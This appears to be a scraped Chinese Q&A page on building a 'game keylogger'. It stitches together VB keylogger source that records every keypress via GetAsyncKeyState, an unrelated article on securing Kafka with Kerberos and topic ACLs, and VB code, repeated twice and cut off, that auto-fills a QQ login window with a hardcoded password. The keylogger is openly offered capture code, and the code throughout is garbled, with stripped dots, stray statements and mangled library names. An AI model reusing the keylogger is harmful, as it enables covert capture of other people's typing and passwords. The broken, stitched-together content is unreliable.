易语言怎么制作游戏键盘记录器

易语言怎么制作游戏键盘记录器,第1张

vb制作键盘记录器(开源代码)这个是我几个月前写的给大家共享下,语言:vb。原理是利用GetAsyncKeyState函数来判断某个键

是否被按下。如果按下就啊text上面显示被按下的键

新建个模块添加代码源码如下

Public Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

Public Sub Key_Eye()

If GetAsyncKeyState(vbKeyCancel) Then

Form1Text1Text = Form1Text1Text & "CANCEL 键 "

End If

End If

If GetAsyncKeyState(vbKeyBack) Then

Form1Text1Text = Form1Text1Text & "BACKSPACE 键 "

End If

If GetAsyncKeyState(vbKeyTab) Then

Form1Text1Text = Form1Text1Text & "TAB 键 "

End If

If GetAsyncKeyState(vbKeyClear) Then

Form1Text1Text = Form1Text1Text & "CLEAR 键 "

End If

If GetAsyncKeyState(vbKeyReturn) Then

Form1Text1Text = Form1Text1Text & vbCrLf

End If

If GetAsyncKeyState(vbKeyShift) Then

Form1Text1Text = Form1Text1Text & "SHIFT 键 "

End If

If GetAsyncKeyState(vbKeyControl) Then

Form1Text1Text = Form1Text1Text & "CTRL 键 "

End If

If GetAsyncKeyState(vbKeyMenu) Then

Form1Text1Text = Form1Text1Text & "ALT 键 "

End If

If GetAsyncKeyState(vbKeyPause) Then

Form1Text1Text = Form1Text1Text & "PAUSE 键 "

End If

If GetAsyncKeyState(vbKeyCapital) Then

Form1Text1Text = Form1Text1Text & "CAPS LOCK 键 "

End If

If GetAsyncKeyState(vbKeyEscape) Then

Form1Text1Text = Form1Text1Text & "ESC 键 "

End If

If GetAsyncKeyState(vbKeySpace) Then

Form1Text1Text = Form1Text1Text & " "

End If

If GetAsyncKeyState(vbKeyPageUp) Then

Form1Text1Text = Form1Text1Text & "PAGE UP 键 "

End If

If GetAsyncKeyState(vbKeyPageDown) Then

Form1Text1Text = Form1Text1Text & "PAGE DOWN 键 "

End If

If GetAsyncKeyState(vbKeyEnd) Then

Form1Text1Text = Form1Text1Text & "END 键 "

End If

If GetAsyncKeyState(vbKeyHome) Then

Form1Text1Text = Form1Text1Text & "HOME 键 "

End If

If GetAsyncKeyState(vbKeyLeft) Then

Form1Text1Text = Form1Text1Text & "LEFT ARROW 键 "

End If

If GetAsyncKeyState(vbKeyUp) Then

Form1Text1Text = Form1Text1Text & "UP ARROW 键 "

End If

If GetAsyncKeyState(vbKeyRight) Then

Form1Text1Text = Form1Text1Text & "RIGHT ARROW 键 "

End If

If GetAsyncKeyState(vbKeyDown) Then

Form1Text1Text = Form1Text1Text & "DOWN ARROW 键 "

End If

If GetAsyncKeyState(vbKeySelect) Then

Form1Text1Text = Form1Text1Text & "SELECT 键 "

End If

If GetAsyncKeyState(vbKeyPrint) Then

Form1Text1Text = Form1Text1Text & "PRINT SCREEN 键 "

End If

If GetAsyncKeyState(vbKeyExecute) Then

Form1Text1Text = Form1Text1Text & "EXECUTE 键 "

End If

If GetAsyncKeyState(vbKeySnapshot) Then

Form1Text1Text = Form1Text1Text & "SNAPSHOT 键 "

End If

If GetAsyncKeyState(vbKeyInsert) Then

Form1Text1Text = Form1Text1Text & "INSERT 键 "

End If

If GetAsyncKeyState(vbKeyDelete) Then

Form1Text1Text = Form1Text1Text & "DELETE 键 "

End If

If GetAsyncKeyState(vbKeyHelp) Then

Form1Text1Text = Form1Text1Text & "HELP 键 "

End If

If GetAsyncKeyState(vbKeyNumlock) Then

Form1Text1Text = Form1Text1Text & "NUM LOCK 键 "

End If

If GetAsyncKeyState(65) Then

Form1Text1Text = Form1Text1Text & "a"

End If

If GetAsyncKeyState(66) Then

Form1Text1Text = Form1Text1Text & "b"

End If

If GetAsyncKeyState(67) Then

Form1Text1Text = Form1Text1Text & "c"

End If

If GetAsyncKeyState(68) Then

Form1Text1Text = Form1Text1Text & "d"

End If

If GetAsyncKeyState(69) Then

Form1Text1Text = Form1Text1Text & "e"

End If

If GetAsyncKeyState(70) Then

Form1Text1Text = Form1Text1Text & "f"

End If

If GetAsyncKeyState(71) Then

Form1Text1Text = Form1Text1Text & "g"

End If

If GetAsyncKeyState(72) Then

Form1Text1Text = Form1Text1Text & "h"

End If

If GetAsyncKeyState(73) Then

Form1Text1Text = Form1Text1Text & "i"

End If

If GetAsyncKeyState(74) Then

Form1Text1Text = Form1Text1Text & "j"

End If

If GetAsyncKeyState(75) Then

Form1Text1Text = Form1Text1Text & "k"

End If

If GetAsyncKeyState(76) Then

Form1Text1Text = Form1Text1Text & "l"

End If

If GetAsyncKeyState(77) Then

Form1Text1Text = Form1Text1Text & "m"

End If

If GetAsyncKeyState(78) Then

Form1Text1Text = Form1Text1Text & "n"

End If

If GetAsyncKeyState(79) Then

Form1Text1Text = Form1Text1Text & "o"

End If

If GetAsyncKeyState(80) Then

Form1Text1Text = Form1Text1Text & "p"

End If

If GetAsyncKeyState(81) Then

Form1Text1Text = Form1Text1Text & "q"

End If

If GetAsyncKeyState(82) Then

Form1Text1Text = Form1Text1Text & "r"

End If

If GetAsyncKeyState(83) Then

Form1Text1Text = Form1Text1Text & "s"

End If

If GetAsyncKeyState(84) Then

Form1Text1Text = Form1Text1Text & "t"

End If

If GetAsyncKeyState(85) Then

Form1Text1Text = Form1Text1Text & "u"

End If

If GetAsyncKeyState(86) Then

Form1Text1Text = Form1Text1Text & "v"

End If

If GetAsyncKeyState(87) Then

Form1Text1Text = Form1Text1Text & "w"

End If

If GetAsyncKeyState(88) Then

Form1Text1Text = Form1Text1Text & "x"

End If

If GetAsyncKeyState(89) Then

Form1Text1Text = Form1Text1Text & "y"

End If

If GetAsyncKeyState(90) Then

Form1Text1Text = Form1Text1Text & "z"

End If

If GetAsyncKeyState(48) Then

Form1Text1Text = Form1Text1Text & "0"

End If

If GetAsyncKeyState(49) Then

Form1Text1Text = Form1Text1Text & "1"

End If

If GetAsyncKeyState(50) Then

Form1Text1Text = Form1Text1Text & "2"

End If

If GetAsyncKeyState(51) Then

Form1Text1Text = Form1Text1Text & "3"

End If

If GetAsyncKeyState(52) Then

Form1Text1Text = Form1Text1Text & "4"

End If

If GetAsyncKeyState(53) Then

Form1Text1Text = Form1Text1Text & "5"

End If

If GetAsyncKeyState(54) Then

Form1Text1Text = Form1Text1Text & "6"

End If

If GetAsyncKeyState(55) Then

Form1Text1Text = Form1Text1Text & "7"

End If

If GetAsyncKeyState(56) Then

Form1Text1Text = Form1Text1Text & "8"

End If

If GetAsyncKeyState(57) Then

Form1Text1Text = Form1Text1Text & "9"

End If

If GetAsyncKeyState(vbKeyNumpad0) Then

Form1Text1Text = Form1Text1Text & "0"

End If

If GetAsyncKeyState(vbKeyNumpad1) Then

Form1Text1Text = Form1Text1Text & "1"

End If

If GetAsyncKeyState(vbKeyNumpad2) Then

Form1Text1Text = Form1Text1Text & "2"

End If

If GetAsyncKeyState(vbKeyNumpad3) Then

Form1Text1Text = Form1Text1Text & "3"

End If

If GetAsyncKeyState(vbKeyNumpad4) Then

Form1Text1Text = Form1Text1Text & "4"

End If

Kafka是由LinkedIn设计的一个高吞吐量、分布式、基于发布订阅模式的消息系统,使用Scala编写,它以可水平扩展、可靠性、异步通信和高吞吐率等特性而被广泛使用。目前越来越多的开源分布式处理系统都支持与Kafka集成,其中Spark Streaming作为后端流引擎配合Kafka作为前端消息系统正成为当前流处理系统的主流架构之一。

然而,当下越来越多的安全漏洞、数据泄露等问题的爆发,安全正成为系统选型不得不考虑的问题,Kafka由于其安全机制的匮乏,也导致其在数据敏感行业的部署存在严重的安全隐患。本文将围绕Kafka,先介绍其整体架构和关键概念,再深入分析其架构之中存在的安全问题,最后分享下Transwarp在Kafka安全性上所做的工作及其使用方法。

Kafka架构与安全

首先,我们来了解下有关Kafka的几个基本概念:

Topic:Kafka把接收的消息按种类划分,每个种类都称之为Topic,由唯一的Topic Name标识。

Producer:向Topic发布消息的进程称为Producer。

Consumer:从Topic订阅消息的进程称为Consumer。

Broker:Kafka集群包含一个或多个服务器,这种服务器被称为Broker。

Kafka的整体架构如下图所示,典型的Kafka集群包含一组发布消息的Producer,一组管理Topic的Broker,和一组订阅消息的Consumer。Topic可以有多个分区,每个分区只存储于一个Broker。Producer可以按照一定的策略将消息划分给指定的分区,如简单的轮询各个分区或者按照特定字段的Hash值指定分区。Broker需要通过ZooKeeper记录集群的所有Broker、选举分区的Leader,记录Consumer的消费消息的偏移量,以及在Consumer Group发生变化时进行relalance Broker接收和发送消息是被动的:由Producer主动发送消息,Consumer主动拉取消息。

然而,分析Kafka框架,我们会发现以下严重的安全问题:

1网络中的任何一台主机,都可以通过启动Broker进程而加入Kafka集群,能够接收Producer的消息,能够篡改消息并发送给Consumer。

2网络中的任何一台主机,都可以启动恶意的Producer/Consumer连接到Broker,发送非法消息或拉取隐私消息数据。

3Broker不支持连接到启用Kerberos认证的ZooKeeper集群,没有对存放在ZooKeeper上的数据设置权限。任意用户都能够直接访问ZooKeeper集群,对这些数据进行修改或删除。

4Kafka中的Topic不支持设置访问控制列表,任意连接到Kafka集群的Consumer(或Producer)都能对任意Topic读取(或发送)消息。

随着Kafka应用场景越来越广泛,特别是一些数据隐私程度较高的领域(如道路交通的视频监控),上述安全问题的存在犹如一颗定时炸d,一旦内网被黑客入侵或者内部出现恶意用户,所有的隐私数据(如车辆出行记录)都能够轻易地被窃取,而无需攻破Broker所在的服务器。

Kafka安全设计

基于上述分析,Transwarp从以下两个方面增强Kafka的安全性:

身份认证(Authentication):设计并实现了基于Kerberos和基于IP的两种身份认证机制。前者为强身份认证,相比于后者具有更好的安全性,后者适用于IP地址可信的网络环境,相比于前者部署更为简便。

权限控制(Authorization):设计并实现了Topic级别的权限模型。Topic的权限分为READ(从Topic拉取数据)、WRITE(向Topic中生产数据)、CREATE(创建Topic)和DELETE(删除Topic)。

基于Kerberos的身份机制如下图所示:

Broker启动时,需要使用配置文件中的身份和密钥文件向KDC(Kerberos服务器)认证,认证通过则加入Kafka集群,否则报错退出。

Producer(或Consumer)启动后需要经过如下步骤与Broker建立安全的Socket连接:

1Producer向KDC认证身份,通过则得到TGT(票证请求票证),否则报错退出

2Producer使用TGT向KDC请求Kafka服务,KDC验证TGT并向Producer返回SessionKey(会话密钥)和ServiceTicket(服务票证)

3Producer使用SessionKey和ServiceTicket与Broker建立连接,Broker使用自身的密钥解密ServiceTicket,获得与Producer通信的SessionKey,然后使用SessionKey验证Producer的身份,通过则建立连接,否则拒绝连接。

ZooKeeper需要启用Kerberos认证模式,保证Broker或Consumer与其的连接是安全的。

Topic的访问控制列表(ACL)存储于ZooKeeper中,存储节点的路径为/acl/<topic>/<user>,节点数据为R(ead)、W(rite)、C(reate)、D(elete)权限的集合,如/acl/transaction/jack节点的数据为RW,则表示用户jack能够对transaction这个topic进行读和写。

另外,kafka为特权用户,只有kafka用户能够赋予/取消权限。因此,ACL相关的ZooKeeper节点权限为kafka具有所有权限,其他用户不具有任何权限。

构建安全的Kafka服务

首先,我们为Broker启用Kerberos认证模式,配置文件为/etc/kafka/conf/serverproperties,安全相关的参数如下所示:

其中,authentication参数表示认证模式,可选配置项为simple, kerberos和ipaddress,默认为simple。当认证模式为kerberos时,需要额外配置账户属性principal和对应的密钥文件路径keytab

认证模式为ipaddress时,Producer和Consumer创建时不需要做任何改变。而认证模式为kerberos时,需要预先创建好相应的principal和keytab,并使用API进行登录,样例代码如下所示:

public class SecureProducer extends Thread {

private final kafkajavaapiproducerProducer<Integer, String> producer;

private final String topic;

private final Properties props = new Properties();

public SecureProducer(String topic) {

AuthenticationManagersetAuthMethod(“kerberos”);

AuthenticationManagerlogin(“producer1″, “/etc/producer1keytab”);

propsput(“serializerclass”, “kafkaserializerStringEncoder”);

propsput(“metadatabrokerlist”,

“172161190:9092,172161192:9092,172161193:9092″);

// Use random partitioner Don’t need the key type Just set it to Integer

// The message is of type String

producer = new kafkajavaapiproducerProducer<Integer, String>(

new ProducerConfig(props));

thistopic = topic;

}

Topic权限管理

Topic的权限管理主要是通过AuthorizationManager这个类来完成的,其类结构如下图所示:

其中,resetPermission(user, Permissions, topic) 为重置user对topic的权限。

grant(user, Permissions, topic) 为赋予user对topic权限。

revoke(user, Permissions, topic) 为取消user对topic权限。

isPermitted(user, Permissions, topic) 为检查user对topic是否具有指定权限。

调用grant或revoke进行权限设置完成后,需要commit命令提交修改到ZooKeeper

Kerberos模式下,AuthorizationManager需要先使用AuthenticationManagerlogin方法登录,与ZooKeeper建立安全的连接,再进行权限设置。示例代码如下所示:

public class AuthzTest {

public static void main(String[] args) {

Properties props = new Properties();

propssetProperty(“authentication”, “kerberos”);

propssetProperty(“zookeeperconnect”, “172162116:2181,172162117:2181,172162118:2181″);

propssetProperty(“principal”, “kafka/host1@TDH”);

propssetProperty(“keytab”, “/usr/lib/kafka/config/kafkakeytab”);

ZKConfig config = new ZKConfig(props);

AuthenticationManagersetAuthMethod(configauthentication());

AuthenticationManagerlogin(configprincipal(), configkeytab());

AuthorizationManager authzManager = new AuthorizationManager(config);

// reset permission READ and WRITE to ip 17216187 on topic test

authzManagerresetPermission(“17216187″,

new Permissions(PermissionsREAD, PermissionsWRITE), “test”);

// grant permission WRITE to ip 17216187 on topic test

authzManagergrant(“17216187″, new Permissions(PermissionsCREATE), “test”);

// revoke permission READ from ip 17216187 on topic test

authzManagerrevoke(“17216187″, new Permissions(PermissionsREAD), “test”);

// commit the permission settings

authzManagercommit();

authzManagerclose();

}

}

ipaddress认证模式下,取消和赋予权限的 *** 作如下所示:

public class AuthzTest {

public static void main(String[] args) {

Properties props = new Properties();

propssetProperty(“authentication”, “ipaddress”);

propssetProperty(“zookeeperconnect”,

“17216187:2181,17216188:2181,17216189:2181″);

ZKConfig config = new ZKConfig(props);

// new authorization manager

AuthorizationManager authzManager = new AuthorizationManager(config);

// reset permission READ and WRITE to ip 17216187 on topic test

authzManagerresetPermission(“17216187″,

new Permissions(PermissionsREAD, PermissionsWRITE), “test”);

// grant permission WRITE to ip 17216187 on topic test

authzManagergrant(“17216187″, new Permissions(PermissionsCREATE), “test”);

// revoke permission READ from ip 17216187 on topic test

authzManagerrevoke(“17216187″, new Permissions(PermissionsREAD), “test”);

// commit the permission settings

authzManagercommit();

authzManagerclose();

}

}

总结与展望

本文通过介绍Kafka现有架构,深入挖掘其中存在的安全问题,并给出Transwarp在Kafka安全上所做的工作及其使用方式。然而,纵观Hadoop & Spark生态系统,安全功能还存在很多问题,各组件的权限系统独立混乱,缺少集中易用的账户管理系统。某些组件的权限管理还很不成熟,如Spark的调度器缺少用户的概念,不能限制具体用户使用资源的多少。Transwarp基于开源版本,在安全方面已有相当多的积累,并持续改进开发,致力于为企业用户提供一个易用、高效、安全和稳定的基础数据平台。

比较长!不能看懂的话可以给我要源码,记得好的话给我加分,嘿嘿

-------API 定义-------------------------------

Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Declare Function GetFocus Lib "user32" () As Long

Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long

Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long

Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Declare Function GetModuleFileNameEx Lib "psapi" Alias "GetModuleFileNameExA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Declare Function IsWindowVisible Lib "user32" (ByVal hWnd As Long) As Long

Declare Function CloseHandle Lib "kernel32dll" (ByVal hObject As Long) As Long

Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long

Declare Function GetClientRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT) As Long

Declare Function GetClassName Lib "user32dll" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long

Declare Sub keybd_event Lib "user32dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long

Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long

'-----------------------结构定义-------------------------------

Public Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

'-----------------------常量定义-------------------------------

Const WM_SETTEXT = &HC

Const STANDARD_RIGHTS_REQUIRED = &HF0000

Const SYNCHRONIZE = &H100000

Const PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF

Const KEYEVENTF_KEYUP = &H2

Const SW_SHOWNORMAL = 1

Dim QQ_ExeFileName As String 'QQexe全路径文件名

Dim QQ_MainhWnd As Long 'QQ登录窗口句柄

Dim QQ_NumEdithWnd As Long 'QQ号码句柄

Dim QQ_PwdEdithWnd As Long 'QQ密码柄句柄

Private Function QQ_AutoPressKey(hWnd As Long, strKey As String)

Dim nLength As Long, VKey As Long, i As Long

strKey = UCase(strKey)

nLength = Len(strKey)

For i = 1 To nLength

VKey = Asc(Mid(strKey, i, 1))

Call AutoPressKey(VKey)

Next

End Function

Public Function AutoPressKey(VKey As Long)

keybd_event VKey, 0, 0, 0 '模拟键按下

keybd_event VKey, 0, KEYEVENTF_KEYUP, 0 '模拟键d起

End Function

Private Function QQ_GetMainhWnd()

EnumWindows AddressOf QQ_EnumMainhWndProc, 0 '枚举所有顶层窗口

End Function

Private Function QQ_EnumMainhWndProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean

Dim nPID As Long, nTID As Long

Dim hProcess As Long, strFileName As String

nTID = GetWindowThreadProcessId(hWnd, nPID) '根据窗口句柄获得拥有窗口的进程ID和线程ID

hProcess = OpenProcess(PROCESS_ALL_ACCESS, True, nPID) '根据进程ID打开进程获得进程句柄

strFileName = Space(255)

GetModuleFileNameEx hProcess, 0, strFileName, 255 '根据进程句柄获得进程主模块文件名

If Left$(strFileName, InStr(1, strFileName, Chr(0)) - 1) = QQ_ExeFileName Then

If IsWindowVisible(hWnd) Then '整个QQexe登录期间只有登录窗口是可见的

QQ_MainhWnd = hWnd

QQ_EnumMainhWndProc = False '枚举函数返回False结束循环枚举

CloseHandle hProcess

Exit Function

End If

End If

CloseHandle hProcess

QQ_EnumMainhWndProc = True

End Function

Private Function QQ_GetSubhWnd()

EnumChildWindows QQ_MainhWnd, AddressOf EnumSubhWndProc, 0 '枚举QQ登录窗口下的所有子窗口

End Function

Private Function EnumSubhWndProc(ByVal hWnd As Long, ByVal lParam As Long) As Long

Dim stRect As RECT, nWidth As Long, nHeight As Long

Dim strClassName As String 255, tmphWnd As Long

GetClientRect hWnd, stRect '取得窗口客户区距形区域大小

nWidth = stRectRight - stRectLeft

nHeight = stRectBottom - stRectTop

strClassName = Space(255)

GetClassName hWnd, strClassName, 255 '根据窗口句柄获得窗口类名

Select Case Left$(strClassName, InStr(1, strClassName, Chr(0)) - 1)

Case "Edit" '如果该窗口是文本框类

tmphWnd = GetParent(hWnd) '获得该窗口的父窗口

strClassName = Space(255)

GetClassName tmphWnd, strClassName, 255 '取得父窗口类名

If tmphWnd <> QQ_MainhWnd Then '如果该子窗口的父窗口不是QQ登录窗口的话

'注意:QQ号码框被设计在一个ComboBox类的组合框中。

'父子关系如下:QQ登录窗口__ComboBox(父窗口为QQ登录窗口)__QQ号码框(父窗口为ComboBox)

'这种关系在QQ登录窗口中是唯一的,要查找QQ号码框要满足的条件如下:

'1:类名必须是Edit 2:父窗口类名必须是ComboBox

If Left$(strClassName, InStr(1, strClassName, Chr(0)) - 1) = "ComboBox" Then

'加多一层检查,QQ号码框的距形大小,这个也是唯一的。

'其实单单检查这个也可以查找到QQ号码框

'注意这个会随着QQ版本的不同可能会有所不同,因为QQ的界面腾迅一直使其在变(漂亮)

If nWidth = 127 And nHeight = 14 Then

QQ_NumEdithWnd = hWnd

End If

ElseIf Left$(strClassName, InStr(1, strClassName, Chr(0)) - 1) = "#32770" Then

'要查找QQ密码框要满足的条件如下:

'1:类名必须是Button 2:父窗口类名必须是#32770(对话框)

'注意以上两个并不是唯一的,必须加多以下一层检查

If nWidth = 131 And nHeight = 14 Then '单单检查这个也可以,这个是唯一的(2007版)

QQ_PwdEdithWnd = hWnd

End If

End If

End If

Case "Button"

'If nWidth = 75 And nHeight = 21 Then

'MsgBox "登录框"

'End If

End Select

EnumSubhWndProc = True

End Function

Public Function QQ_AutoLogin(strExeFileName As String, strNum As String, strPwd As String)

Shell strExeFileName '外部运行QQexe

Sleep 1000 '延时1000毫秒

QQ_MainhWnd = 0 '初始化登录窗口句柄

Call QQ_GetMainhWnd '获取QQ登录窗口句柄(自定义函数)

If QQ_MainhWnd Then DebugPrint "成功获得主窗口句柄" '调试语句,可删除

QQ_NumEdithWnd = 0 '初始化号码框和密码框句柄

QQ_PwdEdithWnd = 0

If QQ_MainhWnd Then Call QQ_GetSubhWnd '获取QQ号码框和密码框句柄(自定义函数)

If QQ_NumEdithWnd And QQ_PwdEdithWnd Then DebugPrint "成功获得号码框和密码框句柄" '调试语句,可删除

SendMessage QQ_NumEdithWnd, WM_SETTEXT, 0, 0 '清空号码框

'有人问为什么不用SetFocus直接设置焦点而用模拟按下Tab键,那是因为QQ不响应获得焦点消息,调用SetFocus达不到效果

'还有一个在QQ登录窗口Tab键只在号码框和密码框之间来回切换,不信你试一下

Call SetForegroundWindow(QQ_MainhWnd) '保证模拟键盘输入之前QQ登录窗口的显示状态

If GetFocus() <> QQ_NumEdithWnd Then Call AutoPressKey(vbKeyTab) '保证模拟键盘输入之前焦点在号码框

Call QQ_AutoPressKey(QQ_NumEdithWnd, strNum) '模拟键盘自动输入QQ号码

Sleep 500

If GetFocus() <> QQ_PwdEdithWnd Then Call AutoPressKey(vbKeyTab) '保证模拟键盘输入之前焦点在密码框

Call QQ_AutoPressKey(QQ_PwdEdithWnd, strPwd) '模拟键盘自动输入QQ密码

Sleep 500

Call AutoPressKey(vbKeyReturn) '模拟键盘输入回车键开始登录

End Function

Sub Main()

Dim strNum As String, strPwd As String

strNum = "4598456"

strPwd = "nihaoma"

QQ_ExeFileName = "D:\Program Files\Tencent\QQ\QQexe"

Call QQ_AutoLogin(QQ_ExeFileName, strNum, strPwd) 'QQ自动登录函数(自定义函数)

End Sub

'这个程序还有以下几个致命的缺陷:

'1:如果在该程序运行之前已经有QQ程序在运行(未登录或已登录的),那判断QQ登录主窗口的代码就可能会不正确了

'2:模拟键盘输入那地方还有点问题,在模拟的中间有可能被别的程序打断,一失去焦点就乱了

'在VB中建一工程,工程名为QQAutoLogin。移除系统自动添加的窗体Form1。在该工程下添加一模块,模块名为QQAutoLoginMod。复制以下代码到模块中。

Option Explicit

'-----------------------API 定义-------------------------------

Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Declare Function GetFocus Lib "user32" () As Long

Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long

Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long

Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Declare Function GetModuleFileNameEx Lib "psapi" Alias "GetModuleFileNameExA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Declare Function IsWindowVisible Lib "user32" (ByVal hWnd As Long) As Long

Declare Function CloseHandle Lib "kernel32dll" (ByVal hObject As Long) As Long

Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long

Declare Function GetClientRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT) As Long

Declare Function GetClassName Lib "user32dll" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long

Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long

Declare Sub keybd_event Lib "user32dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long

Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long

'-----------------------结构定义-------------------------------

Public Type RECT

Left As Long

Top As Long

Right As Long

Bottom As Long

End Type

'-----------------------常量定义-------------------------------

Const WM_SETTEXT = &HC

Const STANDARD_RIGHTS_REQUIRED = &HF0000

Const SYNCHRONIZE = &H100000

Const PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF

Const KEYEVENTF_KEYUP = &H2

Const SW_SHOWNORMAL = 1

Dim QQ_ExeFileName As String 'QQexe全路径文件名

Dim QQ_MainhWnd As Long 'QQ登录窗口句柄

Dim QQ_NumEdithWnd As Long 'QQ号码框句柄

Dim QQ_PwdEdithWnd As Long 'QQ密码柄句柄

Private Function QQ_AutoPressKey(hWnd As Long, strKey As String)

Dim nLength As Long, VKey As Long, i As Long

strKey = UCase(strKey)

nLength = Len(strKey)

For i = 1 To nLength

VKey = Asc(Mid(strKey, i, 1))

Call AutoPressKey(VKey)

Next

End Function

Public Function AutoPressKey(VKey As Long)

keybd_event VKey, 0, 0, 0 '模拟键按下

keybd_event VKey, 0, KEYEVENTF_KEYUP, 0 '模拟键d起

End Function

Private Function QQ_GetMainhWnd()

EnumWindows AddressOf QQ_EnumMainhWndProc, 0 '枚举所有顶层窗口

End Function

Private Function QQ_EnumMainhWndProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean

Dim nPID As Long, nTID As Long

Dim hProcess As Long, strFileName As String

nTID = GetWindowThreadProcessId(hWnd, nPID) '根据窗口句柄获得拥有窗口的进程ID和线程ID

hProcess = OpenProcess(PROCESS_ALL_ACCESS, True, nPID) '根据进程ID打开进程获得进程句柄

strFileName = Space(255)

GetModuleFileNameEx hProcess, 0, strFileName, 255 '根据进程句柄获得进程主模块文件名

If Left$(strFileName, InStr(1, strFileName, Chr(0)) - 1) = QQ_ExeFileName Then

If IsWindowVisible(hWnd) Then '整个QQexe登录期间只有登录窗口是可见的

QQ_MainhWnd = hWnd

QQ_EnumMainhWndProc = False '枚举函数返回False结束循环枚举

CloseHandle hProcess

Exit Function

End If

End If

CloseHandle hProcess

QQ_EnumMainhWndProc = True

End Function

Private Function QQ_GetSubhWnd()

EnumChildWindows QQ_MainhWnd, AddressOf EnumSubhWndProc, 0 '枚举QQ登录窗口下的所有子窗口

End Function

Private Function EnumSubhWndProc(ByVal hWnd As Long, ByVal lParam As Long) As Long

Dim stRect As RECT, nWidth As Long, nHeight As Long

Dim strClassName As String 255, tmphWnd As Long

GetClientRect hWnd, stRect '取得窗口客户区距形区域大小

nWidth = stRectRight - stRectLeft

nHeight = stRectBottom - stRectTop

strClassName = Space(255)

GetClassName hWnd, strClassName, 255 '根据窗口句柄获得窗口类名

Select Case Left$(strClassName, InStr(1, strClassName, Chr(0)) - 1)

Case "Edit" '如果该窗口是文本框类

tmphWnd = GetParent(hWnd) '获得该窗口的父窗口

strClassName = Space(255)

GetClassName tmphWnd, strClassName, 255 '取得父窗口类名

If tmphWnd <> QQ_MainhWnd Then '如果该子窗口的父窗口不是QQ登录窗口的话

'注意:QQ号码框被设计在一个ComboBox类的组合框中。

'父子关系如下:QQ登录窗口__ComboBox(父窗口为QQ登录窗口)__QQ号码框(父窗口为ComboBox)

'这种关系在QQ登录窗口中是唯一的,要查找QQ号码框要满足的条件如下:

'1:类名必须是Edit 2:父窗口类名必须是ComboBox

If Left$(strClassName, InStr(1, strClassName, Chr(0)) - 1) = "ComboBox" Then

'加多一层检查,QQ号码框的距形大小,这个也是唯一的。

'其实单单检查这个也可以查找到QQ号码框

'注意这个会随着QQ版本的不同可能会有所不同,因为QQ的界面腾迅一直使其在变(漂亮)

If nWidth = 127 And nHeight = 14 Then

QQ_NumEdithWnd = hWnd

End If

ElseIf Left$(strClassName, InStr(1, strClassName, Chr(0)) - 1) = "#32770" Then

'要查找QQ密码框要满足的条件如下:

'1:类名必须是Button 2:父窗口类名必须是#32770(对话框)

'注意以上两个并不是唯一的,必须加多以下一层检查

If nWidth = 131 And nHeight = 14 Then '单单检查这个也可以,这个是唯一的(2007版)

QQ_PwdEdithWnd = hWnd

End If

End If

End If

Case "Button"

'If nWidth = 75 And nHeight = 21 Then

'MsgBox "登录框"

'End If

End Select

EnumSubhWndProc = True

End Function

Public Function QQ_AutoLogin(strExeFileName As String, strNum As String, strPwd As String)

Shell strExeFileName '外部运行QQexe

Sleep 1000 '延时1000毫秒

QQ_MainhWnd = 0 '初始化登录窗口句柄

Call QQ_GetMainhWnd '获取QQ登录窗口句柄(自定义函数)

If QQ_MainhWnd Then DebugPrint "成功获得主窗口句柄" '调试语句,可删除

QQ_NumEdithWnd = 0 '初始化号码框和密码框句柄

QQ_PwdEdithWnd = 0

If QQ_MainhWnd Then Call QQ_GetSubhWnd '获取QQ号码框和密码框句柄(自定义函数)

If QQ_NumEdithWnd And QQ_PwdEdithWnd Then DebugPrint "成功获得号码框和密码框句柄" '调试语句,可删除

SendMessage QQ_NumEdithWnd, WM_SETTEXT, 0, 0 '清空号码框

